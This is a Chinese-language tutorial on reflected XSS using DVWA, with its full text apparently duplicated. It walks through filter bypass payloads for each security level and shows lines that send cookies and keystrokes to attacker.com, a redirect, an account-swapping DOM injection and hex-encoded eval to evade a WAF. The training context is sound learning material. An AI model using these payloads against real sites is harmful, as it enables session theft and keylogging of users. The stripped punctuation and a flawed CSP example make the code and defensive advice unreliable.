1. 反射型XSS初探当浏览器变成攻击者的传声筒第一次听说反射型XSS时我脑海中浮现的是一个有趣的场景就像对着山谷大喊一声结果回声里却夹杂着别人偷偷塞进去的广告词。这种攻击方式之所以被称为反射正是因为恶意脚本会像回声一样从服务器反射回用户的浏览器。在实际测试中DVWADamn Vulnerable Web Application的Low安全级别完美展示了这种漏洞的原始形态。记得我第一次在name参数里输入scriptalert(XSS)/script时那个突然跳出来的弹窗让我愣了好几秒——原来网站真的会这么老实地执行任何输入。更可怕的是当我把payload换成scriptalert(document.cookie)/script时浏览器居然乖乖地把当前会话的cookie全盘托出。这种攻击的传播方式特别有意思。攻击者需要精心构造一个恶意链接比如http://victim.com/search?qscript恶意代码/script然后通过邮件或社交平台诱导受害者点击。去年某电商平台就发生过类似事件攻击者伪装成客服发送订单异常链接用户点击后会话凭证就被窃取。2. DVWA实战四重防御下的闯关游戏2.1 Low级别毫无防备的城门DVWA的Low级别就像完全不设防的城堡。查看源码时会发现服务器只是简单地把用户输入拼接进响应echo preHello . $_GET[name] . /pre;这种直接输出意味着我们可以插入任意HTML和JavaScript。我常用以下payload测试基础验证scriptalert(1)/scriptCookie窃取scriptalert(document.cookie)/script重定向攻击scriptlocation.hrefhttp://attacker.com/script2.2 Medium级别漏洞百出的过滤网升级到Medium级别后开发者似乎意识到了危险但防御措施却漏洞百出。源码中使用str_replace过滤script标签$name str_replace(script, , $_GET[name]);这种防护至少有三种绕过方式大小写混淆ScRiPtalert(1)/sCriPt双写绕过scrscriptiptalert(1)/script事件处理器img srcx onerroralert(1)记得当时尝试img srcx onerroralert(document.cookie)成功时我意识到单纯的标签过滤根本防不住XSS。2.3 High级别正则表达式的猫鼠游戏High级别的防护开始使用正则表达式$name preg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $_GET[name]);这个正则虽然能防住大小写和双写但HTML的世界远不止script标签。通过测试发现这些payload依然有效img src1 onerroralert(1)svg onloadalert(1)body onloadalert(1)特别有趣的是a hrefjavascript:alert(1)click/a这种伪协议写法完全绕过了标签检测。2.4 Impossible级别真正的铜墙铁壁Impossible级别展示了教科书般的防御方案$name htmlspecialchars($_GET[name], ENT_QUOTES, UTF-8);htmlspecialchars会把特殊字符转换为HTML实体比如变成lt;。我尝试过各种payload发现这个函数配合ENT_QUOTES参数后所有XSS尝试都变成了无害的文本显示。不过在实际项目中我还会建议配合以下措施设置Content-Security-Policy头输入长度限制严格的输入验证规则3. 攻击者的花式玩法不止是弹个窗很多人以为XSS就是弹出个alert框其实攻击手法要丰富得多。在我参与的渗透测试中见过这些真实案例Cookie劫持是最直接的攻击new Image().srchttp://attacker.com/steal?cookiedocument.cookie键盘记录器更可怕document.onkeypress function(e) { fetch(http://attacker.com/log, { method: POST, body: String.fromCharCode(e.keyCode) }); }还有更隐蔽的DOM篡改攻击比如修改转账页面的收款账号。曾有个金融APP漏洞允许注入document.getElementById(account).value ATTACKER_ACCOUNT4. 防御之道从被动过滤到主动防御4.1 输入处理的三重门禁经过多次踩坑后我总结出有效的输入处理策略白名单验证比如姓名只允许字母和空格if (!preg_match(/^[a-zA-Z\s]$/, $input)) { die(Invalid input); }上下文感知转义HTML输出htmlspecialcharsJavaScript输出json_encodeURL参数urlencode规范化处理$clean mb_convert_encoding($input, UTF-8, auto); $clean normalize_whitespace($clean);4.2 现代浏览器的安全防线除了服务器端防护这些客户端措施也很关键Content-Security-Policy能有效遏制XSSContent-Security-Policy: default-src self; script-src unsafe-inlineHttpOnly Cookie让JavaScript读不到敏感cookiesetcookie(sessionid, $token, [ httponly true, secure true ]);X-XSS-Protection虽然已被现代浏览器弃用但对旧系统仍有价值X-XSS-Protection: 1; modeblock5. 渗透测试中的实用技巧在实际测试中我发现这些方法特别有效模糊测试工具能自动化发现XSS漏洞# 使用XSStrike测试 python3 xsstrike.py -u http://target.com/search?qfuzzDOM监控帮助理解数据处理流程// 在控制台监控DOM修改 MutationObserver window.MutationObserver || window.WebKitMutationObserver; new MutationObserver(function(mutations) { console.log(DOM changed:, mutations); }).observe(document, { subtree: true, childList: true });编码混淆有时能绕过WAF检测// 十六进制编码 eval(\x61\x6c\x65\x72\x74\x28\x31\x29)记得有次遇到过滤了括号的WAF我用反引号成功执行alert1
DVWA-反射型XSS:从概念到实战的攻防演练
发布时间:2026/5/16 10:02:24
1. 反射型XSS初探当浏览器变成攻击者的传声筒第一次听说反射型XSS时我脑海中浮现的是一个有趣的场景就像对着山谷大喊一声结果回声里却夹杂着别人偷偷塞进去的广告词。这种攻击方式之所以被称为反射正是因为恶意脚本会像回声一样从服务器反射回用户的浏览器。在实际测试中DVWADamn Vulnerable Web Application的Low安全级别完美展示了这种漏洞的原始形态。记得我第一次在name参数里输入scriptalert(XSS)/script时那个突然跳出来的弹窗让我愣了好几秒——原来网站真的会这么老实地执行任何输入。更可怕的是当我把payload换成scriptalert(document.cookie)/script时浏览器居然乖乖地把当前会话的cookie全盘托出。这种攻击的传播方式特别有意思。攻击者需要精心构造一个恶意链接比如http://victim.com/search?qscript恶意代码/script然后通过邮件或社交平台诱导受害者点击。去年某电商平台就发生过类似事件攻击者伪装成客服发送订单异常链接用户点击后会话凭证就被窃取。2. DVWA实战四重防御下的闯关游戏2.1 Low级别毫无防备的城门DVWA的Low级别就像完全不设防的城堡。查看源码时会发现服务器只是简单地把用户输入拼接进响应echo preHello . $_GET[name] . /pre;这种直接输出意味着我们可以插入任意HTML和JavaScript。我常用以下payload测试基础验证scriptalert(1)/scriptCookie窃取scriptalert(document.cookie)/script重定向攻击scriptlocation.hrefhttp://attacker.com/script2.2 Medium级别漏洞百出的过滤网升级到Medium级别后开发者似乎意识到了危险但防御措施却漏洞百出。源码中使用str_replace过滤script标签$name str_replace(script, , $_GET[name]);这种防护至少有三种绕过方式大小写混淆ScRiPtalert(1)/sCriPt双写绕过scrscriptiptalert(1)/script事件处理器img srcx onerroralert(1)记得当时尝试img srcx onerroralert(document.cookie)成功时我意识到单纯的标签过滤根本防不住XSS。2.3 High级别正则表达式的猫鼠游戏High级别的防护开始使用正则表达式$name preg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $_GET[name]);这个正则虽然能防住大小写和双写但HTML的世界远不止script标签。通过测试发现这些payload依然有效img src1 onerroralert(1)svg onloadalert(1)body onloadalert(1)特别有趣的是a hrefjavascript:alert(1)click/a这种伪协议写法完全绕过了标签检测。2.4 Impossible级别真正的铜墙铁壁Impossible级别展示了教科书般的防御方案$name htmlspecialchars($_GET[name], ENT_QUOTES, UTF-8);htmlspecialchars会把特殊字符转换为HTML实体比如变成lt;。我尝试过各种payload发现这个函数配合ENT_QUOTES参数后所有XSS尝试都变成了无害的文本显示。不过在实际项目中我还会建议配合以下措施设置Content-Security-Policy头输入长度限制严格的输入验证规则3. 攻击者的花式玩法不止是弹个窗很多人以为XSS就是弹出个alert框其实攻击手法要丰富得多。在我参与的渗透测试中见过这些真实案例Cookie劫持是最直接的攻击new Image().srchttp://attacker.com/steal?cookiedocument.cookie键盘记录器更可怕document.onkeypress function(e) { fetch(http://attacker.com/log, { method: POST, body: String.fromCharCode(e.keyCode) }); }还有更隐蔽的DOM篡改攻击比如修改转账页面的收款账号。曾有个金融APP漏洞允许注入document.getElementById(account).value ATTACKER_ACCOUNT4. 防御之道从被动过滤到主动防御4.1 输入处理的三重门禁经过多次踩坑后我总结出有效的输入处理策略白名单验证比如姓名只允许字母和空格if (!preg_match(/^[a-zA-Z\s]$/, $input)) { die(Invalid input); }上下文感知转义HTML输出htmlspecialcharsJavaScript输出json_encodeURL参数urlencode规范化处理$clean mb_convert_encoding($input, UTF-8, auto); $clean normalize_whitespace($clean);4.2 现代浏览器的安全防线除了服务器端防护这些客户端措施也很关键Content-Security-Policy能有效遏制XSSContent-Security-Policy: default-src self; script-src unsafe-inlineHttpOnly Cookie让JavaScript读不到敏感cookiesetcookie(sessionid, $token, [ httponly true, secure true ]);X-XSS-Protection虽然已被现代浏览器弃用但对旧系统仍有价值X-XSS-Protection: 1; modeblock5. 渗透测试中的实用技巧在实际测试中我发现这些方法特别有效模糊测试工具能自动化发现XSS漏洞# 使用XSStrike测试 python3 xsstrike.py -u http://target.com/search?qfuzzDOM监控帮助理解数据处理流程// 在控制台监控DOM修改 MutationObserver window.MutationObserver || window.WebKitMutationObserver; new MutationObserver(function(mutations) { console.log(DOM changed:, mutations); }).observe(document, { subtree: true, childList: true });编码混淆有时能绕过WAF检测// 十六进制编码 eval(\x61\x6c\x65\x72\x74\x28\x31\x29)记得有次遇到过滤了括号的WAF我用反引号成功执行alert1